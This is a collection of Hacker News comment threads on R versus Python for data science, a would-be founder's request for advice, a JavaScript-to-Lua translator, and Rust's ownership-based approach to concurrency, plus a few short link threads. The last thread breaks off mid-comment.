R vs. Python for Data Science - <AUTHOR> https://github.com/matloff/R-vs.-Python-for-Data-Science <comment><USER2> This is missing the most important difference - deployability. R was built as a language to use interactively and does things like raise warnings for things that should be errors, requires an external package (packrat) for reproducible package management, and in general is foreign to most developers running operations. Python has good error handling, scripting and logging out of the box and managable package management, and is familiar to most developers and operations. Python has much better libraries for building general purpose tools (but fewer libraries for complex statistics).

I disagree with the "learning curve"; if you've learned other programming languages Python has a pretty simple and familiar core, and Pandas (while the API is an inconsistent mess) is well documented. Base R is quirky compared with modern programming languages, and the API is pretty inconsistent.

I also strongly disagree with the Tidyverse bashing. I'd say it has the shortest learning curve (especially for someone familiar with SQL), and is one of the main reasons I still use R today outside of deep learning - I find it _much_ more friendly to work with than any alternative.

<comment><USER3> > This is missing the most important difference - deployability.

I've deployed both R and Python for completely junior datascientists team, on top of a poorly managed infrastructure. I'd say they both have pros and cons and are actually both pretty bad. But R's packrat makes it slightly better than python. Python is a mess when you want to reproduce a working environment. Conda and pip both have huge issues. R's package management is pretty poor too with completely misleading errors, but at least it's unique and once you know your way around the most common errors you can build and run different projects quite consistently.

I've managed both RStudio+Shiny for R and Jupyter for python and overall my experience is better with the R stuff too. Things look a bit standardized while Jupyter needs tons of dependancies and (I felt) lacks a clear opinionated way of doing things.

I have 0 opinion on the actual languages though, as I'm not a developer.

<comment><USER4> At least in my experience it has been pretty simple to deploy Python software.

<comment><USER5> Pretty simple is relative. I deploy python applications to cloud instances using docker through a git push based ci/cd setup. It works great, and I think it's simple. But if I have to explain to an analyst how to use 3 different platforms and 5 or so tools to replicate what he currently gets by clicking "publish to RStudio connector" in the top right of his code, it seems obvious that's not even close to being comparable.

</comment></comment></comment></comment><comment><USER6> I'm going on a limb here and may get downvoted. But I'll say it anyway. This battle is over, and Python is now the standard for data science, just like git is the standard for version control. The mindshare, number of tools, and number of people that know and use Python is an order of magnitude higher those for R. As a new data scientist it does not make sense to start with anything but Python.

<comment><USER7> Well, I'd say you're on a machine learning limb there, and "data science" is - at least IMHO - much more than that. As the article says, statisticians usually much prefer R over Python.

<comment><USER4> My feeling is that the statistician's preference of R is an historic artifact from when Python lacked clear ways to do things R documents nicely. And it seems to be changing.

</comment></comment></comment><comment><USER8> That's written by an opinionated R person/book-writer and stays on a very basic level of anecdotes and hearsay. Some comparisons are super short- sighted. For example the author seems to consider searching pypi for keywords are reasonable way of finding functions for both quite specific and totally unspecific terms ("spatial data"...).

You don't miss anything by skipping this.

</comment><comment><USER9> After reading this paragraph, I started seriously questioning the objectiveness of the comparison.

>By contrast, just now I tried to find nearest-neighbor code for Python and at least with my cursory search, came up empty-handed; there was just one implementation that described itself as simple and straightforward, nothing fast.

> The following searches in PyPI turned up nothing: log-linear model; Poisson > regression; instrumental variables; spatial data; familywise error rate; > etc.

This is not how you search for things. Usually I search on google for "poisson regression scipy" if I'm looking for poisson regression.

<comment><USER10> How you search for things and You search for things are not the same thing.

<comment><USER8> A basic level of adjusting to a language's jargon and ecosystem is mandatory. On the other side there is 'tidyverse', what ever that might be.

</comment></comment></comment><comment><USER11> "RStudio is to be commended for developing the reticulate package, to serve as a bridge between Python and R. It's an outstanding effort, and works well for pure computation. But as far as I can tell, it does not solve the knotty problems that arise in Python, e.g. virtual environments and the like."

I'm not sure I follow this, you can just set the interpreter.

I've started using rMarkdown more heavily, with reticulate & python for most data munging and r for plotting. Partly because I already know how to solve the problems I have in python more quickly than in R. The only thing I have against it at the moment is the debugging story isn't very nice by default, though I've not looked into how to improve this.

edit - if you've not looked into rmarkdown, I heartily recommend it. It is to me what the final output of notebooks _should_ be. I can easily interleave code and descriptions, hide what I want, _run it from scratch entirely as a default_ , and produce a range of outputs including interactive static webpages. Once web packaging is finally sorted, it'll be near perfect.

</comment><comment><USER12> Python is the second-best language for everything.

<comment><USER13> 2nd best over x categories is pretty good.

<comment><USER14> Where x is large. Which it is for Python. Which is probably why I use it so often.

</comment></comment></comment><comment><USER15> I'm a Python user (and I bet the author is primarily an R user), and probably I am biased but these two conclusions I find strange:

* R has Better statistical correctness based on "some dude"?

* R has better OO programming because you can print functions to the command line?

In my workplace R and Python are both well represented and I always hear from the R users that there is no "real support" for classes in R as there is in Python and that they miss it. I can't judge for myself though.

</comment><comment><USER16> For what it's worth, I think GNU Octave could put up a good fight here as well.

I'd be interested in seeing it included in the comparison, though (I'm afraid it would lose on multiple points if only due to lack of funding, but it is very usable).

I currently have a fairly big project written in Octave, but will likely rewrite it in python for maintainability (and would rewrite it again in something else if it grew too much for Python).

there's also Sage, which is an interesting contender, but I do not know enough about it to know how it compares. Arguably, though, Sage and Octave are more geared towards numerical computing than data science, and I think that's where they shine. So, depending on your data and the processing you need, those could be more adequate.

<comment><USER17> _Arguably, though, Sage and Octave are more geared towards numerical computing than data science_

Sage is not really aimed at numerical computing, even though it can be used for that. It's primary use case is more towards computational algebra and number theory (and related areas) and is generally more focused on features needed by researchers and academics.

</comment></comment><comment><USER18> Theres one reason i was learning some R: the charting capabilities of ggplot2 are awesome. I have never produced so good looking graphics before.

<comment><USER8> Try [https://plotnine.readthedocs.io/](https://plotnine.readthedocs.io/) or [https://seaborn.pydata.org/](https://seaborn.pydata.org/)

<comment><USER19> ggplot2 is not just a package, it's an implementation of a grammar language and this is what makes it so hard to substitute. plotnine tries to mimic it and is good for easy stuff but still far behind what can be easily done with ggplot2.

</comment></comment></comment><comment><USER20> One of the important part that's was not mentioned is the ability to deploy and operationalize the model. I think Python has a slight advantage in this area. Especially when focusing on operationalisation and integration with other systems and flows.

<comment><USER5> It sounds like you don't actually know R. Deployment in R is a one-click thing. In python it's a complex path through virtual environments multiple incompatible packaging tools and dependency managers, at times compiling some c dependencies yourself etc. anaconda originally gained popularity because it was the only way to get a student started with python-numpy-scipy that didn't require extensive prior technical capabilities and tons of up front investment in reading through guides on how to configure and set everything up.

I mostly use python and prefer it to R, but putting things into production is not a strength of python and R wins that comparison a thousand times over.

</comment></comment><comment><USER21> Having learned and used both, I disagree with most of his points:

\- Learning curve

\- Machine Learning

\- Parallel computation

\- C/C++ interface

\- Object orientation

All of these are wins for Python, some of them like the learning curve are wins by a huge margin. I should probably do a point by point rebuttal later but so many of his points are incorrect and/or poorly justified.

</comment><comment><USER7> He couldn't find a nearest neighbor searcher in Python? There are several in scikit-learn and scipy has cKDTree. Those are really not hard to find.

<comment><USER22> Similarly,

> For instance, though functions are objects in both languages, R takes that > more seriously than does Python. Whenever I work in Python, I'm annoyed by > the fact that I cannot print a function to the terminal, which I do a lot in > R.

I assume "print a function to the terminal" means print its source? If that is the main complaint, it is available out of the box in IPython (%psource), which if you are doing data science you are probably using already.

<comment><USER17> There is also the inspect module that lets you retrieve both the source code and anything else you want to know about a function.

</comment></comment></comment><comment><USER23> I think it's a lot less common for authors of packages to put them on to PyPi vs CRAN (mostly due to the absolute mess of Python packaging) so it doesn't surprise me that his searches turned up not much there. On GitHub there are those packages:

[https://github.com/search?q=poisson+regression](https://github.com/search?q=poisson+regression)

I've not used Rcpp, but Pybind11 is pretty mature, and works well, so I'm not sure why he's saying it's under development; by the same measure there was an update to Rcpp last week, so that is too. He mentions Cython which allows you to compile Python code, but my main use case for that is exactly what he says - wrapping up C/C++ libraries, which is very easy in it.

"Python is currently undergoing a transition from version 2.7 to 3.x. This will cause some disruption, but nothing too elaborate."

This is pretty out of date; in Jetbrain's survey, 84% of devs had transitioned.

</comment><comment><USER24> In the course of work I end up using both R and Python. I think both have their own use cases. Some of the observations I have had are:-

R

\- The tidyverse ecosystem had given a huge boost to R. It had brought intuitiveness and consistency to R which was much required especially if you are a programmer coming from other languages. Also there are other ecosystems like Bioconductor which are also very mature.

\- Rstudio and especially Rmarkdown notebooks are much better for reproducible analysis than Jupyter.

\- It is very difficult though to develop standalone tools with R. For example it doesn't have a good argument parser.

Python

\- The language is much more intuitive and more ideal for developing standalone tools.

\- The ecosystem is many cases very fragmented though with a lot of libraries doing similar things.

\- It lacks a good plotting system. Matplotlib is very powerful but has a very steep learning curve. In comparison ggplot2 in R is very intuitive.

<comment><USER21> Tidyverse is so overrated that I don't even know where to start... sure dplyr is nice to use if you're working interactively and ggplot2 has good first principles as the basis of its design, but that's about as far as the tidyverse niceness goes. The apis, the documentation, the inconsistencies (on a language level, between tidy packages and within each package), the problems with backwards compatibility, the evaluation (standard vs non-standard vs tidyeval) - it's a big mess.

If you're writing code that's deployed in any way, it's best to avoid the tidyverse as much as possible. This is also acknowledged to some extent by the main developer - [https://www.tidyverse.org/articles/2018/06/tidyverse-not- for...](https://www.tidyverse.org/articles/2018/06/tidyverse-not-for- packages/)

<comment><USER25> The statement in the link means that one should avoid to include the term tidyverse as a pkg dependency. Instead one should name the specific pkgs from the tidyverse individually. This makes sense, as the tidyverse is a collection of pkgs and referring to it as a whole just blows up the pkg. However, there is no indication to not use tidyverse pkgs (dplyr, ggplot2, stringr,...) in packages or production.

</comment></comment></comment><comment><USER26> There is always Rpy for calling R functions from python, if you have to write your program in python but need a stats function from R. I guess python is always the choice if you're writing software, although for interactive use YMMV.

</comment><comment><USER27> Funny, he's dead right about tidyverse, but I've learned to ignore Hadley's packages for not playing well with ESS. Snake case is moronic anyway.

Someone noted below that python is better for deploys: true. R is better for interactive use, and has a better package universe, though quality control for packages is vastly lower than something like scikit learn. R also completely dominates in classical stats, which is generally bread and butter compared to having the latest goofy neural thing. Assuming you actually do data science.

</comment><comment><USER28> Software engineers doing data science like Python. Everyone else doing data science likes R.

<comment><USER29> So true. Business users love R and most of those using it worked in academia previously.

</comment></comment><comment><USER30> I think on the whole we're going to care less and less about the distinction between language bindings in data science as time goes on. If something like Apache Arrow takes off and we end up with a decent standard representation for dataframes (either in memory or distributed), and most of the heavyweight processing (e.g. XGBoost, TensorFlow etc) is written in C/C++ anyway, then I don't massively care what languages people are using to express themselves (and I personally think tidyverse on the ingestion side and ggplot2 on the output side win here).

</comment><comment><USER4> Scipy.spatial has everything I ever needed in terms of spatial lookups.

There are lots of regression options. Scipy, Scikit learn, Pymc3, PyStan.

Metaprogramming in Python is easier than in R, and arguably more predictable and consistent.

</comment><comment><USER31> For me the readability of tidyverse code is crucial. I like pandas and use it daily, but often it requires deciphering to understand what is happening, especially regarding indexing. But tidyverse code can be easily read, and that has been a big help in enabling collaberation amongst our data team.

</comment><comment><USER32> It's strange how many managers and project owners have asked me in the past whether to go for R or Python in their environment, as if the choice for a programming language will break or make your data science initiative. (Even more fun: it's not uncommon to find organizations where IT has finally accepted to provide Python, but without any access to a package repository, with some people being surprised that Python alone is not enough).

In any case, I've worked extensively in both environments and I don't think the author has considered every aspect. Below or my two cents.

\- Elegance: slightly disagree. R might look more concise, but the language comes with many strange aspects (quoting, non standard evaluation) that can put a wig between novice and experienced team members. Python is more verbose, perhaps, but cleaner overall

\- Learning curve: disagree. Even when working in R, modern practice would ask you to learn the tidyverse or data.table first instead of sticking with base R. Good tutorials are available for both

\- Libraries: depends, the notion of "libraries" is too broad anyway, better to split it up according to the subcategories below. Both come with lots of packages, so I'd agree with it being a tie

\- Statistics: agree with R. R is still the statisticians language, and many implementations of some more obscure techniques are only available in R. This being said, most ML shops today would be more interested in e.g. a good GBM implementation or deep learning rather than some robust statistics package. In R: think regression, ANOVA, significance tests, time series and niche subfields like bioengineering. In Python: think RF, GBM, t-SNE, deep learning

\- Parallel computation: I'd say both are lacking, and you'd need to look more towards tooling such as Spark anyway. I'd also say out of memory computing becomes your first concern more often. Dask and Pandas on Ray are very nice on Python

\- Foreign interface: kind of disagree. I think Python has matured better here

\- Object oriented programming: disagree. The problem with R is in fact that is has about 4 (or more) OOP ways

\- Interop: agree that you should avoid it, at the moment, it will only make deployment more cumbersome

Some other concerns I'd consider.

\- Pipeline approach to ML ("model dev / model run"): better in Python. E.g. the clear approach of scikit learn to consider both preprocessing as the model itself as part of the fit-transform-predict pipeline with clear methods is way better than R. I've seen many novice R users fall into the trap of preprocessing a data set before splitting in train/test, for example. This has been one of the biggest drivers to push me towards Python coming from R. Most established libraries in Python commit to a shared, best-practice way of thinking whereas every package in R seems to come with its own ideas in terms of pipeline and usage

\- Deployment: also a win for Python. Better package management / reproducibility, though it is possible in R as well

\- Data exploration: I find this easier in R. Packages like dplyr help a lot here. Pandas' API is somewhat cumbersome

\- Charts / visualizations: ggplot2 in R is still a champion, though good dashboarding tools exist for Python as well. Still, I find this easier to use in R

\- Spatial analysis: both come with very solid libraries, though I find whipping up a quick visualization easier in R

\- Deep learning: clear win for Python. Tensorflow, PyTorch and even Keras are not fun to use in R

\- Reports authoring: possible in both, though R's markdown functionality combined with RStudio is fantastic. Nevertheless, Jupyter notebooks can be made to act as a reporting tool for both languages

<comment><USER25> I like your comparison. So it sounds that one may draw the conclusion that it doesn't matter that much which language one chooses. In the end both languages provide typically required functionalities for data science and it's probably better to find out for yourself which language feels more intuitive/effective to use than listen to an overheated discussion on this topic.

</comment></comment><comment><USER33> > Python has just one OOP paradigm. In R, you have your choice of several, > though some may debate that this is a good thing.

> Given R's magic metaprogramming features (code that produces code), computer > scientists ought to be drooling over R.

The benefit of this... is very debatable.

</comment><comment><USER34> Stata and SPSS are so much easier and fast...

<comment><USER14> SPSS is pretty expensive

<comment><USER34> true, SPSS is way too expensive. This will ultimately kill it. But big corps like IBM just don't care.

And it's a pity. Like a lot of "old" technology and "old" languages, also SPSS is far easier to use for normal people. Asl usual, IBM is just wasting potential.

</comment></comment></comment><comment><USER35> Sincerely, the present question for me is if I should start investing heavily in Julia. Eventually Python (like every other language) will be superseded by some new and better suited language for a set of problems. The question is if it will be Julia now, or some other in the future.

<comment><USER36> I remember thinking very hard about exactly this question in 2004, and landing on Python (as the foundation for Sage). It can be unclear how LONG until a language will be superseded.</comment></comment>


Ask HN: I want to start a company but I'm blocked at level 1 - <AUTHOR>

Got diploma: check. Got many years in technical (software dev): check. Got many years in startup companies: check. Got enough money to quit my current job: check. Got last paycheck: check(no pun intended). 4 months ago.
For many years I want to start a web company. Last month I finally resigned, but since, I can't start.
I'm blocked. at. level. 1. I have some ideas, but nothing really interesting or without a business model (and I dont pretend to be the next FB/TW/etc). But I can't successfully start. I spend more time on drawing mockup / listing feature on a notebook than launch a real product.
So I try to connect with startup guys where I live but this is essentially a bunch of non cto who are looking for a cheap dev/ partial cofounder (= less equity) because they have no money to pay.
Bonus point: yes I have a technical brackground but no I do NOT want to become CTO of my (or your) company. It was funny, but years after years I lost my love for software dev.
As I am avid reader of HN, I know I can have good feedback/advice here, even if some of you can't help to add acid with their answer ;) (so it explain why I use an anonymous pseudonym)
- SLOM ps: if it changes something for you: around 30yr old, no family, enough money in saving account to live two years.
ps2: again, not interested by your top-sexy-[insert word] CTO / tech position <comment><USER2> IMHO, there are only 2 jobs in a seed company hacker, hustler. If your going to be the hustler go talk to potential customers and find some people that will use your product. then hire contractors to build the product, if you don't want to build it. Sounds like you don't want to be either. Go back and get a job and take no more than 20% of your savings find a team with both and invest in their idea. or hold off until you find the right cofounder.

</comment><comment><USER3> Don't worry about launching a real product. That's not where you start. Do you have access to customers? A market? Something that can make you money? Forget that you have all these software dev skills and focus instead on business opportunities.

</comment><comment><USER4> I think you are missing one of the fundamental thing to create a startup: the team. You can't do everything by yourself, even the idea, you can find it during a bbq with some of your friends that will become your parteners.

<comment><AUTHOR> of course. But I only meet business guy who want a cto/or a dev. And tech guy who are interested by startups have already their idea, or are more likely to follow extrovert business guy.</comment></comment>


JavaScript to Lua translator - <AUTHOR> https://github.com/wizzard0/js2lua <comment><USER2> For reference, here's why JavaScript to Lua converters are really hard to make feature complete.

[http://phrogz.net/lua/LearningLua_FromJS.html](http://phrogz.net/lua/LearningLua_FromJS.html)

[http://stackoverflow.com/questions/1022560/subtle- difference...](http://stackoverflow.com/questions/1022560/subtle-differences- between-javascript-and-lua)

<comment><USER3> Do you have specific examples? I went over both lists, and most differences were either syntax, or "Lua has complicated feature X, JS doesn't."

<comment><USER4> Off of the top of my head, with varying difficulty

* js has UTF-16 strings with the same semantics(compare-by-value, immutable, interned) as lua strings. you could store UTF-16 in normal lua strings, but then you'd need some way of marshalling them for C code that expects const char* values

* JS has a lot of type coercions when doing binary operations, etc. replicating that seems like a source of indirection

* Lua tables have no explicit length, or any way to preallocate, so it's not entirely obvious what Array(len) or a.length = newlen would do

</comment></comment></comment><comment><USER5> Tessel has a Javascript to Lua compiler too, as their hardware runs Lua underneath [https://github.com/tessel/colony- compiler](https://github.com/tessel/colony-compiler)

<comment><USER6> Is there any reason why they didn't just stick with Lua, or some abstraction over Lua like Moonscript ([http://moonscript.org](http://moonscript.org))? Why is there such a big desire to put Javascript in places where it's not needed?

<comment><USER7> Author here. Actually, I wanted to do exactly the reverse - ability to use tons of Node.js modules in Lua, while coding in Lua. Think of it :)

</comment></comment></comment><comment><USER8> Just in case you haven't already heard of what the nice folks at Tessel are doing, this may be useful to you:

[https://github.com/tessel/colony-compiler](https://github.com/tessel/colony- compiler)

<comment><USER7> Author here. Tessel uses modified eLua, I want to use Node modules in vanilla Lua, so naturally that approach was not viable to me.

</comment></comment><comment><USER3> This repository is Windows only, it uses \ as a path delimiter all over the place. Gives you weird error messages on Linux.

Consider using / instead: it is accepted on both Windows and UNIX.

<comment><USER7> Yep, *nix support is definitely part of the plan.

</comment></comment><comment><USER9> How about a reverse translator that lets me write more lua and less javascript?

<comment><USER5> There is Moonshine [http://moonshinejs.org/](http://moonshinejs.org/) to run Lua in the browser. There are a few more too.</comment></comment>


Words known only by men or only by women - <AUTHOR> http://gnodevel.ugent.be/crr.ugent.be/archives/1628

<comment><USER2> Previous discussion: [https://news.ycombinator.com/item?id=7949183](https://news.ycombinator.com/item?id=7949183) (121 points, 142 days ago, 126 comments)</comment>


Jump to the first ever Hacker News mention of a term - <AUTHOR> https://bemmu.github.io/hnfirstmention/ <comment><USER2> Nice one bemmu. This was my first search, guess the keywords:

[https://news.ycombinator.com/item?id=2767203](https://news.ycombinator.com/item?id=2767203)</comment>


Naivecoin: a tutorial for building a cryptocurrency - <AUTHOR> https://lhartikk.github.io <comment><USER2> thank you for this crystal clear explanation!</comment>


Fearless concurrency with Rust - <AUTHOR> http://blog.rust-lang.org/2015/04/10/Fearless-Concurrency.html <comment><USER2> Rust's ownership model, and the borrow checker that enforces it, are a major breakthrough in language design. It's so simple, yet it solves so many problems.

This is what Go should have done. Then Go's "share by communicating, not by sharing" would be real, not PR. Go code often passes references over channels, which results in shared memory between two threads with no locking. In Rust, when you do that, you pass ownership of the referenced object. The sender can no longer access it, and there's no possibility of a race condition. A successor to Go with Rust ownership semantics has real potential. Go has a simpler type system than Rust, and seems to be well matched to the back-end parts of web-based systems.

<comment><USER3> First, please don't compare Go and Rust. They are completely different languages with completely different target use cases. Go has very different design goals than Rust, so very little that Rust does would actually be possible in Go, and vice versa.

> Go code often passes references over channels, which results in shared > memory between two threads with no locking

Having a complex type system would cut into compile times (an explicit primary design goal, to the point where the Go compiler must be written to read each file exactly once[0], no more).

As for the code you're referring to, Go is not designed to be a language which prevents you from shooting yourself in the foot with provable code. It's designed to be a language which makes it reasonably easy to be sure you haven't, as long as you follow the general idioms and best practices. What you're describing here is definitely not one - I can think of a few instances in which pointers might be reasonably passed over a channel, but they're few and far between.

Also, I would think it's pretty obvious that once you've sent something over a channel you shouldn't try and write to it anymore[1]. Do you have an example of the code you're referring to?

[0] well, technically "at most once", since some files can be skipped entirely.

[1] I'd need to think about this, but I don't think it'd be difficult to detect this statically[2] at compile-time and enforce that stack-allocated rvalues into channels are never used again in the same scope. It's definitely possible to extend `go vet` to handle this, and it may even be possible to write this in as a compiler error in a future version of Go.

[2] Incidentally, one of the reasons that it's so easy to do reliable static analysis on Go code (compared to other languages) is that the grammar is incredibly simple - it's almost entirely context-free, which is very rare among non-Lisps. Having a more complex type system usually requires at least some additional syntax to along with this, which means you'd have to start sacrificing this design goal as well in order to create a more elaborate type system.

<comment><USER4> > (an explicit primary design goal, to the point where the Go compiler must be > written to read each file exactly once[0], no more).

Same in Rust. Thanks to the module system, the Rust compiler never rereads a file more than once.

> [1] I'd need to think about this, but I don't think it'd be difficult to > detect this statically[2] at compile-time and enforce that stack-allocated > rvalues into channels are never used again in the same scope. It's > definitely possible to extend `go vet` to handle this, and it may even be > possible to write this in as a compiler error in a future version of Go.

That trivially fails to solve the problem, due to aliasing.

> [2] Incidentally, one of the reasons that it's so easy to do reliable static > analysis on Go code (compared to other languages) is that the grammar is > incredibly simple - it's almost entirely context-free, which is very rare > among non-Lisps. Having a more complex type system usually requires at least > some additional syntax to along with this, which means you'd have to start > sacrificing this design goal as well in order to create a more elaborate > type system.

Rust's grammar is also context-free, as far as I know.

Your proposed static analysis is not reliable. The "more complex" type system in Rust exists precisely _so that we can do more reliable static analysis_.

<comment><USER3> > > (an explicit primary design goal, to the point where the Go compiler must > be written to read each file exactly once[0], no more).

> Same in Rust. Thanks to the module system, the Rust compiler never rereads a > file more than once.

As I said _right_ at the beginning of my post, I'm _not_ trying to compare Rust and Go directly, because I don't think that's meaningful. I'm explaining why these particular features would be difficult to incorporate into Go. Note that I never said that Rust reads a file more than once, or that Rust's grammar is not context-free. In fact, the word "Rust" doesn't appear anywhere in my comment at all except in that very first paragraph.

I love talking about PLT and would otherwise be interested in having a discussion about static analysis and hearing why you think it would not solve the problem, but I have to say, it's both frustrating and discouraging to post an in-depth response and then get downvoted twice, with the only reply being one which very clearly ignores the very first line of my entire response.

<comment><USER4> > I would otherwise be interested in having a discussion about static analysis > and hearing why you think it would not solve the problem

Stack allocation isn't in the semantics of Go, so that's a pretty weird thing to use a basis of a static analysis. It's also not sound because of interfaces or closures. You would want something more like "fully by-value data with no pointers in it, no interfaces, no closures".

<comment><USER5> Not to mention no arrays or slices! This burned me pretty hard during my first week with Go.

</comment></comment></comment></comment></comment></comment><comment><USER6> Rust has definitely been a pleasure to work with. I have been experimenting with a Future & Stream [1] abstraction in Rust that would allow easily describing complex concurrent and async operations and to allow easy composition, not unlike ES 6 promises.

The interesting thing is that, thanks to Rust's ownership system, it is easy to discover when handles to a future value go out of scope. This allows the library to reuse internal resources to make the overhead of using the library as light as possible.

For example, a Stream is modeled as a sequence of futures (more specifically a future of the next value and a new stream representing the rest of the values, kind of like lazy-seq in clojure but async), but instead of allocating one future for each iteration of the stream, the same internal structure is reused while still being able to expose this API.

[1] [https://github.com/carllerche/eventual](https://github.com/carllerche/eventual)

<comment><USER7> Just looked at eventual. It seems really interesting. I looked at Rust's std Future and was turned off by the fact that is blocking.

<comment><USER8> Rust is blocking, there was mio crate which brought non-blocking IO operations.

<comment><USER6> Well, Rust doesn't have any opinions regarding blocking or not. Currently, std::io implements blocking IO, but as you pointed out, Rust allows libraries to implement non-blocking / async paradigms.

<comment><AUTHOR> "Rust is so low-level that IO is a library concern, not a language concern," as I like to say.

<comment><USER8> But standard IO is blocking, correct?

But Rust being so low level to not care about IO is Awesome :)

<comment><AUTHOR> We're starting off by only having blocking IO in the standard library, yes.

</comment></comment></comment></comment></comment></comment></comment><comment><USER9> FWIW I thought the article was quite informative and well-written enough to make the concepts easy to grasp. I'd agree with the opinion that Rust is breaking new ground in an interesting way, and over the next several years I wouldn't be at all surprised to see its ideas becoming quite influential.

The discussion points out something else that too often receives too little attention. That is, the quality of documentation is extremely relevant to product success. Sadly, software is more often than not poorly documented, not only frustrating for potential users, but an unnecessary impediment to uptake of the program.

It appears the Rust developers are serious about describing how Rust works. That's a very favorable sign of their commitment to the project and speaks volumes about dedication to grow the Rust community.

</comment><comment><USER10> Just a comment: I've noticed Rust literature generally errs on feeling a bit dense and esoteric, which might make things less approachable for some. Then again, that does depend on your target audience. This article doesn't make me feel immediately "fearless" about concurrency, and I'm a fairly experienced programmer and a fan of the language. Perhaps it would have been wiser to start with an approachable example and then taken deep dive about all the nuance from there?

Also, are there any plans to integrate tutorial-style guides similar to those from Rust for Rubyists into the Rust book? There's something incredibly fun and real about learning by example. It also would give the reader a chance to read some idiomatic code.

<comment><AUTHOR> > Also, are there any plans to integrate tutorial-style guides similar to > those from Rust for Rubyists into the Rust book?

I'd been waiting for beta to drop to do a re-organization of the TOC of the book. You can see it on nightly here: [http://doc.rust- lang.org/nightly/book/](http://doc.rust-lang.org/nightly/book/)

I've carved out a whole section, "Effective Rust", specifically for this kind of thing. I'm looking for a better name than "Effective Rust", since that's a very common book title, though. Don't want to be too greedy with that namespace!

We do also have Rust by Example, but I admittedly don't give it as much love. Once the book is done...

<comment><USER10> Never new Rust by Example existed until today actually! You really should link to it somewhere more prominent. I'm fairly far along, but would have loved the example book had I know about it sooner.

<comment><AUTHOR> It was originally a community project, but was then abandoned for a while, and then donated to Rust proper. As such, it's always been sort of secondary. I plan on linking it more prominently once I've actually gone through it and cleaned it up to my own personal standards, for now I just keep CI green. As such, the text has gotten out of sync with the code in a number of places, and I don't want to mislead anyone.

We do link it from [http://doc.rust-lang.org/](http://doc.rust-lang.org/) , but I guess that still says community...

<comment><USER10> Fair enough: it's definitely not a good idea to promote something half baked.

It actually took me a while to find the link there just now. I don't think "External Documentation" really imparts the right meaning. Perhaps something like "Other Guides and Resources" would make more sense?

<comment><AUTHOR> Yeah, that was written when it wasn't an official project, it should move to a different section now.

</comment></comment></comment></comment></comment></comment><comment><USER11> Sorry if I'm missing something obvious, but how do these locks stop a deadlock from happening? To explain, say that I have some code that locks A, then locks B, then does something, and another bit of code that locks B, then locks A, then does its thing. There's a race condition that can happen where one thread has A and the other thread has B.

This has bitten me so much that I avoid fine-grained locking when possible and instead use a single global lock everywhere, and have new threads start in the locked position, and then only selectively unlock the bits of code that I can prove are thread-safe, or adding fine-grained locks only where absolutely necessary as shown by benchmarking.

<comment><AUTHOR> > Sorry if I'm missing something obvious, but how do these locks stop a > deadlock from happening?

This is the difference between a data race and a race condition. We can't generally prevent deadlocks, I would imagine that's (like all race conditions) is an unsolvable problem at the language level. Maybe some PhD will prove me right or wrong, though...

<comment><USER12> Preventing deadlocks is not an unsolvable problem. Linear-session-typed process calculi are guaranteed deadlock-free and race-free. (The connection with Rust's ownership type-system makes me wonder if there might be some way to backport this guarantee to Rust, but I suspect the connection doesn't go far enough.) This comes at a price, however: certain process topologies are impossible to construct, and there's no way to ask "give me the _first_ message to arrive on _either_ of these two channels" (no Unix `select()` analogue). The latter in particular bugs me, because `select()` is a necessity in practice.

In general, problems of "guarantee property X" can almost always be solved with a sufficiently advanced type system, but at the cost of (a) inventing and using a sufficiently advanced type system and (b) disallowing some perfectly good programs.

<comment><USER13> The safe subset of Rust (which is more-or-less linearly typed with elided drops) is indeed deadlock-free. Features like mutexes are written using the unsafe sublanguage because shared memory concurrency is useful. Because potential deadlocks are opt-in rather than opt-out, it's not unreasonable to imagine that future extensions to Rust (or some other language in the same mold) could bridge this gap in a practical way.

<comment><USER14> This is a bit of a misunderstanding of what Rust's safety guarantees are and what 'unsafe' actually means in Rust.

Rust safety guarantees are based around a few rules involving references, ownership, lifetimes and borrowing. None of them forbid the creation of mutexes or anything else which you will find in Rust.

'unsafe' Rust code shouldn't break these rules any more than the 'safe' code does, the only difference is that the compiler lets you do something which it doesn't know is safe. It's up to you to design the code such that it is.

If code marked as 'unsafe' does something which actually violates one of the assumptions on which the Rust compiler works, then the safety of the whole program is jeopardised.

(There was actually a bit of bike-shedding surrounding possibly renaming the 'unsafe' keyword to better reflect these facts, which included suggestions like 'trustme' and 'yolo', but a satisfactory term was not found)

<comment><USER13> You are correct. When I refer to the safe sublanguage, I mean the language without any unsafe blocks. Since so much of Rust is defined in libraries, precisely what is allowed in those unsafe blocks is a fairly important detail; they can violate semantic guarantees that "pure" safe Rust provides. In this case, the Rust core team made the deliberate choice (which they have discussed on occasion) not to consider deadlocks unsafe behavior, because they were not able to get it to work to their satisfaction. As another example, there are fairly subtle implications for concurrency around the fact that Rust provides (using unsafe code) a swap function for mutable references. Swap cannot be written in the pure safe sublanguage. Yet another example: in pure, safe Rust, memory leaks are not possible (except via premature abort). This is not true of Rc, hence Rust does not guarantee freedom from memory leaks.

</comment></comment></comment></comment></comment></comment><comment><USER15> Rust's concurrency primitives are as powerful as its semantic concepts are expressive - both stunningly so for a language that compiles to this level.

Yesterday I wrote a macro to build simple actors[1], without a care for robustness (this was just a rough draft and I didn't expect it to even work so quickly - amazingly it did!). Now I'm looking at how to fill it out and make it generally useful and get this: I didn't even try to handle failure yet, but it already responsibly joins the thread and deallocates its resources as soon as the actor can no longer receive messages. Automatically! As a natural consequence of Rust's memory model and type system. Despite the fact that Rust knows nothing about concurrency at the language level.

[1] [https://github.com/withoutboats/Chekhov](https://github.com/withoutboats/Chekhov)

</comment><comment><USER16> I'd just like to say that I found the tone of this article so much better than all of the other rust guides I have looked at. It managed to be interesting without being annoyingly cute or overly dry or explaining basic concepts which any programmer will know. It makes me want to go back and have another look at the language because it presents the ideas and upsides in such a pleasant manner. Well done.

</comment><comment><USER12> This post observes that

> the same tools that make Rust safe also help you tackle concurrency head-on.

The tools that make Rust safe, in this instance, being its ownership type system. Why on earth should that be the case? Why would ownership types make concurrency easier? The post gives plenty of in-depth answers to this question, but to my mind it misses the bigger picture.

The big-picture reason why ownership types and concurrency match so well is the Curry-Howard correspondence.

Ownership types are known as linear[1] types in the PL theory literature. Linear types are so-called because they correspond to linear logic, a logic sometimes described as "the logic of resources" rather than "a logic of truth". In linear logic, instead of reasoning about eternal truths like "1 + 1 = 2", you reason about resources, like "I have an apple and a banana". If you also happen to know that "from an apple, I can make applesauce", then linear logic lets you reason that you can obtain the state "I have applesauce, and a banana" (but no longer an apple).

